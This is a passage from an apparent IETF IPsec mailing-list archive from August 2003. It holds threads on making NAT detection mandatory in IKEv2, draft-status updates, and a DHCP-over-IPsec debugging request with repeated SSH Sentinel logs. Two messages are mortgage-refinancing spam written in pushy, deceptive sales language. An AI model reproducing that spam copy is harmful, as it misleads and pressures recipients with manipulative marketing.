understand how the second sentence applies to the responder: when a NAT is detected and NAT-T not supported or enabled, the IKE session has to be dropped before the end of the IKE_AUTH exchange. Not to put NAT_DETECTION_* notifications will enable the initiator to send the third message but it is not enough. Thanks Francis.Dupont@enst-bretagne.fr From bjosh_49@erols.com Wed Aug 6 02:36:48 2003 Received: from homepc1 (adsl-dyn-tpe-62-6-114.so-net.net.tw [61.62.6.114]) by above.proper.com (8.12.9/8.12.8) with SMTP id h769akqt099868 for ; Wed, 6 Aug 2003 02:36:47 -0700 (PDT) (envelope-from bjosh_49@erols.com) Message-Id: <200308060936.h769akqt099868@above.proper.com> From: bjosh_49@erols.com To: ietf-ipsec@imc.org Subject: Re: hi Sender: bjosh_49@erols.com Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Date: Wed, 6 Aug 2003 17:36:43 +0800 X-Mailer: Microsoft Outlook Express 6.00.2800.1106


HEY YOU!

STOP WASTING MONEY ON YOUR CURRENT MORTGAGE!

whats up dude, you should see this! i saved a bomb..

Every day thousands of Americans are saving money, don't be one of the few who miss out!
you're placed up for auction and financers outbid each other on getting you the best deal on your mortgage!





not interested?
From bbrlebrca@juno.com Wed Aug 6 03:49:20 2003 Received: from fb-3n0i43y3r079 ([61.52.74.114]) by above.proper.com (8.12.9/8.12.8) with SMTP id h76AnHqt005890 for ; Wed, 6 Aug 2003 03:49:18 -0700 (PDT) (envelope-from bbrlebrca@juno.com) Message-Id: <200308061049.h76AnHqt005890@above.proper.com> From: bbrlebrca@juno.com To: ietf-ipsec@imc.org Subject: what up Sender: bbrlebrca@juno.com Mime-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Date: Wed, 6 Aug 2003 18:47:12 +0800 X-Mailer: Microsoft Outlook, Build 10.0.2627


HEY YOU!

GET A LOWER INTEREST RATE THAN WHAT YOU ARE PAYING NOW!

we could all use some extra money at the end of the week!

I refinanced my mortgage and this site got me the best financer available
you're placed up for auction and financers outbid each other on getting you the best deal on your mortgage!





for no more
From owner-ipsec@lists.tislabs.com Wed Aug 6 03:57:51 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h76Avoqt006064; Wed, 6 Aug 2003 03:57:51 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id GAA03659 Wed, 6 Aug 2003 06:15:52 -0400 (EDT) Message-ID: <3F30D712.2040003@f-secure.com> Date: Wed, 06 Aug 2003 13:23:14 +0300 From: Ari Huttunen Organization: F-Secure Corporation User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Francis Dupont CC: Tero Kivinen , tomhu@cisco.com, ietf ipsec Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? References: <200308060822.h768Mcof025595@givry.rennes.enst-bretagne.fr> In-Reply-To: <200308060822.h768Mcof025595@givry.rennes.enst-bretagne.fr> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 06 Aug 2003 10:23:14.0930 (UTC) FILETIME=[BEEC7D20:01C35C04] Sender: owner-ipsec@lists.tislabs.com Precedence: bulk Francis Dupont wrote: > In your previous mail you wrote: > > > - is the support of NAT detection mandatory? For some other reasons > > (implicit peer address protection) I stronly believe it should be > > mandatory when the IKE_SA_INIT is done over port 500 and to answer > > the next point it should be mandatory in all cases. > > It is mandatory to be able to ignore those packets. It is not > mandatory to be able to reply to them. > > => in my idea to make NAT detection mandatory there are two parts: > - the initiator must put NAT_DETECTION_* notifications in the > first message. > - the responder must reply to the NAT_DETECTION_* notifications. > I agree this is a change from the current specs. I would hesitate to make NAT detection mandatory, just for patenting reasons. I'm not saying there is necessarily any problem with that, but I remember that detection of a NAT was one thing being claimed by an SSH patent application. So, if we assume that there are relatively paranoid people out there who are paranoid about the patent issues, they wouldn't want NAT detection being mandatory. (If that didn't contain enough disclaimers) I would point out that it's a long while since I read those patent applications, and I've no idea about their current status. Nor do I care about their status. Ari -- I play it cool and dig all jive, that's the reason I stay alive. My motto as I live and learn, is dig and be dug in return. Ari Huttunen phone: +358 9 2520 0700 Software Architect fax : +358 9 2520 5001 F-Secure Corporation http://www.F-Secure.com F(ully)-Secure products: Securing the Mobile Enterprise From owner-ipsec@lists.tislabs.com Wed Aug 6 06:10:22 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h76DALqt015810; Wed, 6 Aug 2003 06:10:22 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id IAA04156 Wed, 6 Aug 2003 08:34:43 -0400 (EDT) X-Info: ODIN / NASA Glenn Research Center Message-Id: <5.1.1.5.2.20030806082504.02257bf8@popserve.grc.nasa.gov> X-Sender: caivanc@popserve.grc.nasa.gov X-Mailer: QUALCOMM Windows Eudora Version 5.1.1 Date: Wed, 06 Aug 2003 08:37:54 -0400 To: nemo@nal.motlabs.com, mobile-ip@sunroof.eng.sun.com, ipsec@lists.tislabs.com From: William D Ivancic Subject: ID regarding interactions of IPSec encryption devices and mobile-ip (and other protocols) Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-ipsec@lists.tislabs.com Precedence: bulk During my work with mobile-ipv4 mobile router code and deployment in operational networks, We have ran across a number of problems that had to be resolved. Also, during my last trip to IETF (San Francisco), there was much talk in mobile-ip, NEMO and IPSec on the need for these groups to understand each others issues and workings as securing mobile users and networks is ..... challenging (nasty). I wrote this draft in hopes of highlighting some of the issues and hopefully preventing others from banging their head against the walls trying to figure out why things don't work. Also, the NSA is currently working on a specification similar to IPSec and needs to understand some of these issues if they want to use such devices in mobile environments. Any suggestions on improving this document would be greatly appreciated. http://www.ietf.org/internet-drafts/draft-ivancic-layer3-encryptors-00.txt Abstract This document describes some issues related to performing encryption at layer-3. In particular, routing protocol problems may result if the time-to-live (TTL) field in IPv4 or the Hop Limit field in IPv6 is decremented once before encapsulation [1][2]. Also, special provisions may be necessary within the encryptor devices if broadcast messages are to transition the encryptor pairs. Maximum Transmission Unit (MTU) issues are also presented. Will Ivancic From owner-ipsec@lists.tislabs.com Wed Aug 6 06:11:32 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h76DBVqt015890; Wed, 6 Aug 2003 06:11:31 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id IAA04187 Wed, 6 Aug 2003 08:38:29 -0400 (EDT) From: "Yoav Nir" To: "'Ari Huttunen'" , "'ietf ipsec'" Subject: RE: NAT-T, IKEv2, Vendor ID, port floating?? Date: Wed, 6 Aug 2003 15:43:30 +0200 Message-ID: <00f401c35c20$b9225650$292e1dc2@YnirNew> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 In-Reply-To: <3F30D712.2040003@f-secure.com> Sender: owner-ipsec@lists.tislabs.com Precedence: bulk The minimum support mandated by the draft is to ignore NAT detection. I doubt if even the most paranoid would be afraid of SSH suing over ignoring notification payloads with message type 24582 and 24583. If we interpret the draft as requiring you to calculate the hash and verify it, there may be something to worry about, but as long as we agree that ignoring is acceptable, I don't see the problem with making support mandatory. All we want to do is to make sure that even if you don't support NAT traversal, you won't be unable to interoperate just because the peer sends the notification. -----Original Message----- From: owner-ipsec@lists.tislabs.com [mailto:owner-ipsec@lists.tislabs.com]On Behalf Of Ari Huttunen Sent: Wednesday, August 06, 2003 12:23 PM To: Francis Dupont Cc: Tero Kivinen; tomhu@cisco.com; ietf ipsec Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? I would hesitate to make NAT detection mandatory, just for patenting reasons. I'm not saying there is necessarily any problem with that, but I remember that detection of a NAT was one thing being claimed by an SSH patent application. So, if we assume that there are relatively paranoid people out there who are paranoid about the patent issues, they wouldn't want NAT detection being mandatory. (If that didn't contain enough disclaimers) I would point out that it's a long while since I read those patent applications, and I've no idea about their current status. Nor do I care about their status. Ari From owner-ipsec@lists.tislabs.com Wed Aug 6 06:33:05 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h76DX4qt018968; Wed, 6 Aug 2003 06:33:04 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id IAA04276 Wed, 6 Aug 2003 08:59:15 -0400 (EDT) Message-ID: <3F30FD5D.4010509@f-secure.com> Date: Wed, 06 Aug 2003 16:06:37 +0300 From: Ari Huttunen Organization: F-Secure Corporation User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.4) Gecko/20030624 Netscape/7.1 (ax) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Yoav Nir CC: "'ietf ipsec'" Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? References: <00f401c35c20$b9225650$292e1dc2@YnirNew> In-Reply-To: <00f401c35c20$b9225650$292e1dc2@YnirNew> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 06 Aug 2003 13:06:38.0064 (UTC) FILETIME=[920C0700:01C35C1B] Sender: owner-ipsec@lists.tislabs.com Precedence: bulk I don't have any disagreement with what you said, but you shouldn't have deleted Francis's comment, for which I was replying to: > => in my idea to make NAT detection mandatory there are two parts: > - the initiator must put NAT_DETECTION_* notifications in the > first message. > - the responder must reply to the NAT_DETECTION_* notifications. > I agree this is a change from the current specs. Ari Yoav Nir wrote: > The minimum support mandated by the draft is to ignore NAT detection. I > doubt if even the most paranoid would be afraid of SSH suing over ignoring > notification payloads with message type 24582 and 24583. > > If we interpret the draft as requiring you to calculate the hash and verify > it, there may be something to worry about, but as long as we agree that > ignoring is acceptable, I don't see the problem with making support > mandatory. All we want to do is to make sure that even if you don't support > NAT traversal, you won't be unable to interoperate just because the peer > sends the notification. > > -----Original Message----- > From: owner-ipsec@lists.tislabs.com > [mailto:owner-ipsec@lists.tislabs.com]On Behalf Of Ari Huttunen > Sent: Wednesday, August 06, 2003 12:23 PM > To: Francis Dupont > Cc: Tero Kivinen; tomhu@cisco.com; ietf ipsec > Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? > > > I would hesitate to make NAT detection mandatory, just for patenting > reasons. I'm not saying there is necessarily any problem with that, > but I remember that detection of a NAT was one thing being claimed by > an SSH patent application. So, if we assume that there are relatively > paranoid people out there who are paranoid about the patent issues, they > wouldn't want NAT detection being mandatory. > > (If that didn't contain enough disclaimers) I would point out that it's > a long while since I read those patent applications, and I've no idea > about their current status. Nor do I care about their status. > > Ari > -- I play it cool and dig all jive, that's the reason I stay alive. My motto as I live and learn, is dig and be dug in return. Ari Huttunen phone: +358 9 2520 0700 Software Architect fax : +358 9 2520 5001 F-Secure Corporation http://www.F-Secure.com F(ully)-Secure products: Securing the Mobile Enterprise From owner-ipsec@lists.tislabs.com Wed Aug 6 06:59:53 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h76Dxrqt020319; Wed, 6 Aug 2003 06:59:53 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA04404 Wed, 6 Aug 2003 09:25:47 -0400 (EDT) Mime-Version: 1.0 X-Sender: kent@po2.bbn.com Message-Id: In-Reply-To: References: Date: Wed, 6 Aug 2003 09:29:04 -0400 To: "Theodore Ts'o" From: Stephen Kent Subject: Re: Please move draft-ietf-ipsec-ciph-aes-ccm-04 to publication requested Cc: "Steven M. Bellovin" , byfraser@cisco.com, Tero Kivinen , angelos@cs.columbia.edu, Russ Housley , ipsec@lists.tislabs.com Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) Sender: owner-ipsec@lists.tislabs.com Precedence: bulk At 19:06 -0400 8/5/03, Theodore Ts'o wrote: >Hi Steve, > >draft-ietf-ipsec-ciph-aes-ccm has been updated to address the IKEv2 >specificity problem which Tero raised, and a reference to [CCM] for test >vectors. In addition, as 2401bis and ESPbis have been pushed to >publication requested, it seems appropriate to put this on your queue >for review and for IETF last call. > >Many thanks!! > > - Ted Ted, There is an error in the list of documents above. AH, ESP, and the ESN DOI docs are ready to go, but we are still debating 2401bis issues in the WG and will be for a while I expect. Steve From owner-ipsec@lists.tislabs.com Wed Aug 6 07:04:31 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h76E4Vqt020406; Wed, 6 Aug 2003 07:04:31 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA04468 Wed, 6 Aug 2003 09:32:46 -0400 (EDT) Date: Wed, 6 Aug 2003 13:13:55 +0200 From: Markus Friedl To: Francis Dupont Cc: ietf ipsec Subject: Re: NAT-T, IKEv2, Vendor ID, port floating?? Message-ID: <20030806111355.GA8090@folly> References: <16175.59540.652638.310947@ryijy.hel.fi.ssh.com> <200308060822.h768Mcof025595@givry.rennes.enst-bretagne.fr> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <200308060822.h768Mcof025595@givry.rennes.enst-bretagne.fr> User-Agent: Mutt/1.4.1i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk On Wed, Aug 06, 2003 at 10:22:38AM +0200, Francis Dupont wrote: > => in my idea to make NAT detection mandatory there are two parts: I don't like the idea of having NAT detection mandatory. How is it possible to avoid potential NAT-T patent problems? Especially since nobody seems to know the nature of these problems. From owner-ipsec@lists.tislabs.com Wed Aug 6 07:06:37 2003 Received: from lists.tislabs.com (portal.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h76E6aqt020487; Wed, 6 Aug 2003 07:06:37 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA04487 Wed, 6 Aug 2003 09:33:51 -0400 (EDT) Date: Tue, 5 Aug 2003 18:06:57 -0400 From: "Theodore Ts'o" To: ipsec@lists.tislabs.com Subject: [housley@vigilsec.com: Re: Please move AH, ESP, and ESN drafts to "Publication Requested"] Message-ID: <20030805220657.GB1994@think> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="jho1yZJdad60DJr+" Content-Disposition: inline User-Agent: Mutt/1.5.4i Sender: owner-ipsec@lists.tislabs.com Precedence: bulk --jho1yZJdad60DJr+ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Apologies for forgetting to cc the IPSEC mailing list on the original message. - Ted -- --jho1yZJdad60DJr+ Content-Type: message/rfc822 Content-Disposition: inline Return-Path: Received: from po14.mit.edu [18.7.21.72] by localhost with IMAP (fetchmail-5.9.11) for tytso@localhost (single-drop); Tue, 05 Aug 2003 00:30:07 -0400 (EDT) Received: from po14.mit.edu (po14.mit.edu [18.7.21.72]) by po14.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 04 Aug 2003 20:46:25 -0400 X-Sieve: CMU Sieve 2.2 Received: from fort-point-station.mit.edu by po14.mit.edu (8.12.4/4.7) id h750kOQ6014806; Mon, 4 Aug 2003 20:46:24 -0400 (EDT) Received: from woodstock.binhost.com (woodstock.binhost.com [207.228.252.5]) by fort-point-station.mit.edu (8.12.4/8.9.2) with SMTP id h750hNbN023498 for ; Mon, 4 Aug 2003 20:43:23 -0400 (EDT) Received: (qmail 20101 invoked by uid 0); 5 Aug 2003 00:42:02 -0000 Received: from unknown (HELO Russ-Laptop.vigilsec.com) (66.44.62.139) by woodstock.binhost.com with SMTP; 5 Aug 2003 00:42:02 -0000 Message-Id: <5.2.0.9.2.20030804203617.03645e78@mail.binhost.com> X-Sender: housley@mail.binhost.com X-Mailer: QUALCOMM Windows Eudora Version 5.2.0.9 Date: Mon, 04 Aug 2003 20:37:49 -0400 To: "Theodore Ts'o" From: Russ Housley Subject: Re: Please move AH, ESP, and ESN drafts to "Publication Requested" Cc: byfraser@cisco.com, Tero Kivinen , angelos@cs.columbia.edu, "Steven M. Bellovin" In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) ACK. At 10:59 AM 8/4/2003 -0400, Theodore Ts'o wrote: >Hi Russ, > > The following documents: > > draft-ietf-ipsec-rfc2402bis-04.txt > draft-ietf-ipsec-esn-addendum-02.txt > draft-ietf-ipsec-esp-v3-06.txt > >have gone through working group last call, and have been revised to deal >with the issues raised during that wg last call process. No issues >remain open in the issue tracker for these documents; therefore, if you >could push the state of these documents to "Publication Requested" and >put them on your queue to review for IETF Last Call, we would appreciate >it. > > Many thanks!! > > - Ted --jho1yZJdad60DJr+-- From owner-ipsec@lists.tislabs.com Wed Aug 6 07:11:42 2003 Received: from lists.tislabs.com (portal.gw.tislabs.com [192.94.214.101]) by above.proper.com (8.12.9/8.12.8) with ESMTP id h76EBfqt020614; Wed, 6 Aug 2003 07:11:42 -0700 (PDT) (envelope-from owner-ipsec@lists.tislabs.com) Received: by lists.tislabs.com (8.9.1/8.9.1) id JAA04554 Wed, 6 Aug 2003 09:37:58 -0400 (EDT) Date: Wed, 06 Aug 2003 17:03:29 +0800 From: wzshi Subject: about DHCP over IPsec To: ipsec@lists.tislabs.com Message-id: <002301c35bf9$9a8b4a70$833c5c8c@NCL.iii.org.tw> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Mailer: Microsoft Outlook, Build 10.0.2627 Content-type: multipart/alternative; boundary="Boundary_(ID_aZfRffrnkQcwEvhfTP0yZA)" Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal Sender: owner-ipsec@lists.tislabs.com Precedence: bulk This is a multi-part message in MIME format. --Boundary_(ID_aZfRffrnkQcwEvhfTP0yZA) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Hi :-) I have some problem about DHCP over IPsec. I designed a VPN gateway, and SSH Sentinel is peer. Now I want to add the function of DHCP over IPsec on this gateway. After IKE Phase 1 and Phase 2 success, SSH Sentinel sends DHCP discover packet. DHCP server reply DHCP offer packet. Gateway relay these packet between Sentinel and DHCP server. When Sentinel get DHCP offer packet, it sends ISAKMP information to delete IPsec SA. The problem is. RFC wrote that if the client delete SA, client should initiate the second Quick mode negotiation. But it does not happen. Would you please help me to find what and where it'd go wrong? Wish you a good day Sincerly, W.Z Hsu Sentinel log as below: Phase-2 [initiator] done bundle 1 with 2 SA's by rule 23:`ipsec ipv4(udp:68,[0..3]=140.92.60.131)<->ipv4_subnet(udp:67,[0..7]=0.0.0.0/0) (gw:ipv4(any:0,[0..3]=140.92.60.100))' SA ESP[10000001] alg [3des-cbc/24]+hmac[hmac-sha1-96] bundle [1,0] pri 0 opts src=ipv4(udp:68,[0..3]=140.92.60.131) dst=ipv4_subnet(udp:67,[0..7]=0.0.0.0/0) SA ESP[842832d6] alg [3des-cbc/24]+hmac[hmac-sha1-96] bundle [1,0] pri 0 opts src=ipv4_subnet(udp:67,[0..7]=0.0.0.0/0) dst=ipv4(udp:68,[0..3]=140.92.60.131) 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Encode packet, version = 1.0, flags = 0x00000001 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500QM; Sending packet[52] = 0x32bdec80 c1000000 7048e07a d9db0f53 08102001 0d215563 00000034 36623125 13416536 b9f1b028 c1d44a68 c6fc8dff f26a23f2 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Connected 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Start delete negotiation 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Encode packet, version = 1.0, flags = 0x00000001 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500Info; Encode HASH: hash[20] = 0x00000000 00000000 00000000 00000000 00000000 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; enc->dec IV[8] = 0x8002c370 944bb2e6 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Sending packet[68] = 0x32bdec80 c1000000 7048e07a d9db0f53 08100501 96d206b9 00000044 f8bdfdbc 40ffbee7 bafec9d8 63a4f0c0 7f1e0204 f76cd92d bee5e22a 4c34aa01 8002c370 944bb2e6 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Deleting negotiation DHCP Over IPSEC status: BOUND ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ mean? 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Restart packet 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Version = 1.0, Input packet fields = 0037 SA KE ID HASH NONCE 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Connected 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Deleting negotiation DHCP Over IPSEC status: ABORTED --Boundary_(ID_aZfRffrnkQcwEvhfTP0yZA) Content-type: text/html; charset=us-ascii Content-transfer-encoding: 7BIT Hi J I have some problem about DHCP over IPsec. I designed a VPN gateway, and SSH Sentinel is peer. Now I want to add the function of DHCP over IPsec on this gateway. After IKE Phase 1 and Phase 2 success, SSH Sentinel sends DHCP discover packet. DHCP server reply DHCP offer packet. Gateway relay these packet between Sentinel and DHCP server. When Sentinel get DHCP offer packet, it sends ISAKMP information to delete IPsec SA. The problem is. RFC wrote that if the client delete SA, client should initiate the second Quick mode negotiation. But it does not happen. Would you please help me to find what and where it'd go wrong? Wish you a good day Sincerly, W.Z Hsu Sentinel log as below: Phase-2 [initiator] done bundle 1 with 2 SA's by rule 23:`ipsec ipv4(udp:68,[0..3]=140.92.60.131)<->ipv4_subnet(udp:67,[0..7]=0.0.0.0/0)(gw:ipv4(any:0,[0..3]=140.92.60.100))' SA ESP[10000001] alg [3des-cbc/24]+hmac[hmac-sha1-96] bundle [1,0] pri 0 opts src=ipv4(udp:68,[0..3]=140.92.60.131) dst=ipv4_subnet(udp:67,[0..7]=0.0.0.0/0) SA ESP[842832d6] alg [3des-cbc/24]+hmac[hmac-sha1-96] bundle [1,0] pri 0 opts src=ipv4_subnet(udp:67,[0..7]=0.0.0.0/0) dst=ipv4(udp:68,[0..3]=140.92.60.131) 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Encode packet, version = 1.0, flags = 0x00000001 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500QM; Sending packet[52] = 0x32bdec80 c1000000 7048e07a d9db0f53 08102001 0d215563 00000034 36623125 13416536 b9f1b028 c1d44a68 c6fc8dff f26a23f2 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Connected 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Start delete negotiation 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Encode packet, version = 1.0, flags = 0x00000001 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500Info; Encode HASH: hash[20] = 0x00000000 00000000 00000000 00000000 00000000 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; enc->dec IV[8] = 0x8002c370 944bb2e6 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Sending packet[68] = 0x32bdec80 c1000000 7048e07a d9db0f53 08100501 96d206b9 00000044 f8bdfdbc 40ffbee7 bafec9d8 63a4f0c0 7f1e0204 f76cd92d bee5e22a 4c34aa01 8002c370 944bb2e6 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Deleting negotiation DHCP Over IPSEC status: BOUND ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ mean? 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Restart packet 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Version = 1.0, Input packet fields = 0037 SA KE ID HASH NONCE 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Connected 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Deleting negotiation DHCP Over IPSEC status: ABORTED --Boundary_(ID_aZfRffrnkQcwEvhfTP0yZA)-- --=====================_162491540==_.ALT Content-Type: text/html; charset="us-ascii" Approved: Dob.ipsec >From majordomo-owner Wed Aug 6 04:59:26 2003 Received: from netrd (h149-203-70-85.seed.net.tw [203.70.85.149] (may be forged)) by lists.tislabs.com (8.9.1/8.9.1) with ESMTP id EAA03314 Wed, 6 Aug 2003 04:59:24 -0400 (EDT) Received: from cat (131.60.ncl.iii.org.tw [140.92.60.131]) by netrd.iii.org.tw (iPlanet Messaging Server 5.1 Patch 1 (built Jun 6 2002)) with ESMTPA id <0HJ6003GZXA6J3@netrd.iii.org.tw> for ipsec@lists.tislabs.com; Wed, 06 Aug 2003 17:06:07 +0800 (CST) Date: Wed, 06 Aug 2003 17:03:29 +0800 From: wzshi Subject: about DHCP over IPsec To: ipsec@lists.tislabs.com Message-id: <002301c35bf9$9a8b4a70$833c5c8c@NCL.iii.org.tw> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-Mailer: Microsoft Outlook, Build 10.0.2627 Content-type: multipart/alternative; boundary="Boundary_(ID_aZfRffrnkQcwEvhfTP0yZA)" Importance: Normal X-Priority: 3 (Normal) X-MSMail-priority: Normal This is a multi-part message in MIME format. --Boundary_(ID_aZfRffrnkQcwEvhfTP0yZA) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Hi :-) I have some problem about DHCP over IPsec. I designed a VPN gateway, and SSH Sentinel is peer. Now I want to add the function of DHCP over IPsec on this gateway. After IKE Phase 1 and Phase 2 success, SSH Sentinel sends DHCP discover packet. DHCP server reply DHCP offer packet. Gateway relay these packet between Sentinel and DHCP server. When Sentinel get DHCP offer packet, it sends ISAKMP information to delete IPsec SA. The problem is. RFC wrote that if the client delete SA, client should initiate the second Quick mode negotiation. But it does not happen. Would you please help me to find what and where it'd go wrong? Wish you a good day Sincerly, W.Z Hsu Sentinel log as below: Phase-2 [initiator] done bundle 1 with 2 SA's by rule 23:`ipsec ipv4(udp:68,[0..3]=140.92.60.131)<->ipv4_subnet(udp:67,[0..7]=0.0.0.0/0) (gw:ipv4(any:0,[0..3]=140.92.60.100))' SA ESP[10000001] alg [3des-cbc/24]+hmac[hmac-sha1-96] bundle [1,0] pri 0 opts src=ipv4(udp:68,[0..3]=140.92.60.131) dst=ipv4_subnet(udp:67,[0..7]=0.0.0.0/0) SA ESP[842832d6] alg [3des-cbc/24]+hmac[hmac-sha1-96] bundle [1,0] pri 0 opts src=ipv4_subnet(udp:67,[0..7]=0.0.0.0/0) dst=ipv4(udp:68,[0..3]=140.92.60.131) 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Encode packet, version = 1.0, flags = 0x00000001 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500QM; Sending packet[52] = 0x32bdec80 c1000000 7048e07a d9db0f53 08102001 0d215563 00000034 36623125 13416536 b9f1b028 c1d44a68 c6fc8dff f26a23f2 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Connected 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Start delete negotiation 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Encode packet, version = 1.0, flags = 0x00000001 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500Info; Encode HASH: hash[20] = 0x00000000 00000000 00000000 00000000 00000000 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; enc->dec IV[8] = 0x8002c370 944bb2e6 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Sending packet[68] = 0x32bdec80 c1000000 7048e07a d9db0f53 08100501 96d206b9 00000044 f8bdfdbc 40ffbee7 bafec9d8 63a4f0c0 7f1e0204 f76cd92d bee5e22a 4c34aa01 8002c370 944bb2e6 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 Info; Deleting negotiation DHCP Over IPSEC status: BOUND ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ mean? 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Restart packet 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Version = 1.0, Input packet fields = 0037 SA KE ID HASH NONCE 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Connected 0.0.0.0:500 (Initiator) <-> 140.92.60.100:500 QM; Deleting negotiation DHCP Over IPSEC status: ABORTED --Boundary_(ID_aZfRffrnkQcwEvhfTP0yZA) Content-type: text/html; charset=us-ascii Content-transfer-encoding: 7BIT Hi J I have some problem about DHCP over IPsec. I designed a VPN gateway, and SSH Sentinel is peer. Now I want to add the function of DHCP over IPsec on this gateway. After IKE Phase 1 and Phase 2 success, SSH Sentinel sends DHCP discover packet. DHCP server reply DHCP offer packet. Gateway relay these packet between Sentinel and DHCP server. When Sentinel get DHCP offer packet, it sends ISAKMP information to delete IPsec SA. The problem is. RFC wrote that if the client delete SA, client should initiate the second Quick mode negotiation. But it does not happen. Would you please help me to find what and where it'd go wrong? Wish you a good day 